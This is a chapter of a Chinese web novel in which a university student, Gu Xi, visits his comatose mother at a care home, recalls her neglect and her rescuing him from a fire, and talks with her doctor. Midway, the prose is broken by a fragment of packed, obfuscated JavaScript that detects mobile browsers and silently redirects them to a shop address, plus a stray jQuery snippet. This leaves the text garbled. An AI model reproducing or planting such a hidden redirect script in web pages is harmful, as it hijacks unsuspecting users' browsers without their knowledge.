清晨，雨刚刚收晴，阳光还没出来，天色有些灰。
因为是周末，诺大的校园十分空旷。
操场上，有两三个人在练习晨跑。
顾惜出了校门，坐上第一班公交车，去京海市郊。
路途非常远，他每次都挑最角落靠窗的位置。
车上的乘客带着困意，昏昏欲睡。
时间还早，顾惜拉过卫衣帽遮住半张脸，靠着椅背眯一会。
顾惜不经常做梦。
这次，难得陷入浅浅的梦境里。
他身处在嘈杂的人群里。
有个人的手，很暖，搭在顾惜的肩膀上，关系很亲密的样子。
顾惜没有完全睡着，所以他隐约知道，这是梦，也知道这个人是谁。
只有沈熠会这么靠近他。
梦里，顾惜老是坐不稳，所以沈熠扶着他的肩。
但坐不稳的感觉让人发慌，顾惜挣得出汗。他努力了很久，终于在椅子上坐踏实了，然而沈熠撤回了手。顾惜感到诧异，他不愿意让那温柔的触感离开，回身去抓沈熠。
顾惜一着急，突然睁开眼，醒了。
醒的时刻太微妙了，他好像没抓住。
顾惜眉心轻轻拧起，心底泛起淡淡的恼火。
这下睡不着了。
顾惜侧过脑袋，面无表情地看着窗外。
公交车保持平稳的龟速，慢慢吞吞前行。
中途的乘客上上下下，换了好几波。
到最后几站，已经没乘客再上来。
车上的广播报站，终点站到了。
司机往后看一眼，发现还有一个乘客，然后开了后车厢的车门。
下了车，顾惜双手揣进衣兜弓着肩，顶风走了一段路。
一块巨幅招牌，矗立在道路的终点，上面写着“汇爱阳光家园”。
这是家新建的托养中心，有公益背景，收费适中，基础设施不错。
顾惜先去收费大厅的窗口，交下个季度的费用。
扣完下来，账上的余额，还剩八千块。
顾惜收起手机，他想他该抓紧时间了，等他的程序通过线上测试，挣的报酬比打零工高几倍。
从大厅出来，穿过一条林荫小路，就到病房区。
病房区的楼层不高，门口小花坛种了不知名的花，颜色开得鲜亮。
托养中心住的都是沉睡不醒的病人，平时静谧到可怕。
园区很注重花草养护，大概是希望，这群生机勃勃的花草给人带去好心情。
梁蓝蓝住的病房是四人间。
在这个房间住的病人，都有两三年了，出入的家属，彼此熟识。
顾惜到了地方，从病床下拿出塑料盆和方巾，去了趟卫生间。
回来后，他把梁蓝蓝病床附近的桌子和床位擦拭干净，收拾完了他转身去拿扫帚和拖把，把病房里里外外打扫一遍。
他手脚利落，干得又快又好，差不多半小时，清洁得干干净净。
干完活儿，顾惜按照习惯，拉张椅子，坐下来陪会。
这个习惯是傅以文医生的建议，他是神经外科医生，梁蓝蓝转入这家托养中心，就是他接手的。
傅以文对顾惜的情况了若指掌，经常给他一些医疗上的意见。
今天隔壁床位也有家属来了，是位中年妇女，叫方明珠。
方明珠喜欢顾惜喜欢的不得了，说这么有孝心的孩子太少见了，又说顾惜身材高高大大，人长得帅气，做事那么利落勤快，年轻人就该这样。
知道顾惜考上京海大学，方明珠逢人就夸，顾惜是做大事的人，跟炫耀自己家亲戚一样欢喜卖力。
方明珠带了不少水果，她剥只橘子，送给顾惜尝尝。
空气里全是橘子皮的清香。
方明珠喜欢自言自语，常常对着病床上的人，唠叨很久。
她曾经跟顾惜说，病床上的人，看起来像睡着了，其实能听见的。
顾惜不知道是不是真的。
不过，就算是真的，他对梁蓝蓝也没什么话讲。
顾惜五六岁，梁蓝蓝才把他接回去。
那时候他明白很多事，知道他曾经被妈妈抛弃，又被妈妈接了回去。
梁蓝蓝脾气并不好，她不打他，但她很能花钱，也很折腾。
顾惜不知道“妈妈”两个字意味着什么。
如果“妈妈”意味着从不工作，经常打牌，换男朋友如换衣服，让他放学回来就去洗衣做饭。叫顾惜去打工，把挣的钱交给她。顾惜从学校带回来的奖状，变成她手里擦桌子的纸。
那么，顾惜觉得“妈妈”这个词，似乎不怎么美好。
记得有一天，梁蓝蓝叫上顾惜，拉着他一起去照相馆。
两人拍了张合照。
顾惜以为，梁蓝蓝想和他留影。
毕竟他们母子俩，还没有一张照片。
照片洗出来了。
梁蓝蓝带上照片，带上顾惜去邮局，寄给一个叫顾东明的人。
路上，梁蓝蓝拿出手机，从网页上搜出一张企业老总的照片，给顾惜看：“这是你亲生父亲，这是他的公司，你记住了。”
梁蓝蓝把照片装进信封：“以前他不认你，不肯做亲子鉴定。”
随后，梁蓝蓝哼了声，红唇得意地一勾，两只耳环都在轻晃：“看看照片，你和他长的，那是一个模子印出来的，他不得不认！”
梁蓝蓝经常换男朋友，顾惜之前以为，他是一个意外的结果。
却没想到，她知道他的父亲是谁。
梁蓝蓝对这张照片，抱了非常大的希望。她在一旁喋喋不休，说顾东明很有钱，要是顾东明愿意认回顾惜，他们以后有好日子过。
“他要是把你认回去，你可别忘了我这个亲妈。”梁蓝蓝飞快地看他一眼。
顾惜成天闷不吭声，经常问他话他都不答应，她有些烦，秀气的长眉一蹙：“你听见没有？”
顾惜想问梁蓝蓝，他们母子的合照，她留底片了吗？他可以保留一张照片吗？
但梁蓝蓝正兴头上，满嘴说的都是顾东明和顾氏企业，这会儿正千叮咛万嘱咐：“别整天只知道学习，用你聪明脑子好好想一想，怎么讨好你爸。”
根本容不下别人插话。
顾惜最终没问出口。
意外火灾的时候，顾惜没想到，梁蓝蓝会把他背出来。
她把唯一一条遮掩口鼻的湿毛巾，给了自己的孩子。
每次想到这里，顾惜心口沉沉发闷。
他们当了几年的母子，虽然过得不怎么愉快。
可现在，连那样不愉快的日子也没了。
梁蓝蓝又把他丢下了。
……
方明珠又开始对病床上的人低声念叨，都是些家常的琐碎事。
过一会，她念累了，捡起地上的垃圾袋，拿出去扔。
她一离开，房间变得安静。
窗户是开着的，徐徐清风吹了进来。
顾惜沉默地坐着，手里的橘子，因为放的时间久了，橘瓣上的薄膜变得干燥。
傅以文带着病案本，例行巡房，四处走动。
见到顾惜，他打声招呼：“你来了？”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029169|194502||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“傅医生，你好。”顾惜站起来。
傅以文翻翻手里的文件，照例给他聊聊近况：“3号床位的病人，最近验血出来的数据不是很好。”
“要紧吗？”顾惜看着他。
他的情绪太平静了，口吻像在谈论一个陌生人。
傅以文心里的异样感又钻出来了，他摇头：“只是给你说一下。具体情况怎么样，还需要再观察。”
“好。”顾惜点头。
傅以文在医院呆得久，见过许多病人的家属。痛苦到不能自己的，不能接受现状而痛哭流涕的，惶恐不安喋喋不休的，甚至还有偷着乐的。
千奇百怪，什么类型都有。
唯独顾惜给他的印象，特别深。
一是因为他年龄小，二是他这么小，却比傅以文见过的成年人冷静。
傅以文说的不是今天的顾惜，而是刚到托养中心的顾惜。
那时，他只是个中学生，穿着中学生蓝色校服，一个人忙来忙去办手续。文件办到最后，他到傅以文办公室，交代他的情况。
傅以文见这么小的孩子坐在面前，是很吃惊的。
顾惜言谈间透露的讯息，同样让他震惊：他正在上学，没有父亲，家里没有别的亲人。
傅以文在心中叹息，俨然是个苦命的孩子。
傅以文跟顾惜交代完托养中心的状况，在医生职责之外，他忍不住教导顾惜，如何申请社会救助和福利保障。
谈话的过程，顾惜的眼眸黑沉，神色安静，没什么情绪。
没有激动，没有哀伤，甚至没有感激。
小孩子遭遇这种重大悲剧，会有的脆弱无助感，在他身上看不到。
傅以文说得差不多，顾惜点下头，站起来，把凳子整整齐齐推回去：“好的，我知道了，谢谢傅医生。”
从头到尾的淡漠，礼貌，得体。
第一次见面，傅以文就觉得，这个孩子不太对劲。
往后的每一次接触，都在加深这种印象。
最初，顾惜每次来“汇爱阳光家园”，交完费，忙完卫生和护理就走了，跟上班打卡一样。
傅以文看不下去，建议他可以在床边陪一陪，多坐一会。
顾惜听了，以后都注意留上一个小时。
这又改变傅以文对他的印象。
他想，顾惜这孩子也不是冷心冷肺，是没人教他该怎么做。
傅以文其实怀疑，顾惜是不是有心理学上的病症。不过他不是相关专业，不能下结论。此后，他再碰见顾惜，总是格外关照他一些。
这次傅以文查完房，临走前告诉顾惜，他可以学方明珠，跟梁蓝蓝多交流交流。
“这个建议不是针对病人的，而是对你。”傅以文看着他说，“在我们这里，煎熬的不是这些昏迷不醒的病人，是家属。你和你的亲人多说说话，能给你的心灵带去一些慰藉。”
顾惜点下头：“好。”
傅以文又提了一些琐事，他还有别的事要忙，先走了。
顾惜重新坐下来。
他在想，真的会被听到吗？
可是，除了上学打工赚钱，他的生活很单调，没有开心事可以讲。
有几只麻雀落在窗台，叽叽喳喳叫了会，飞走了。
方明珠没回来，房间很安静。
过了一会，顾惜试着开口：“我……我最近认识一个人，他人很好。”
然后，他像觉得尴尬，不再往下说。
其实他和沈熠才见过几次，还不熟悉，不知道说什么。
算了，顾惜想到，也许下一次，他能多说点。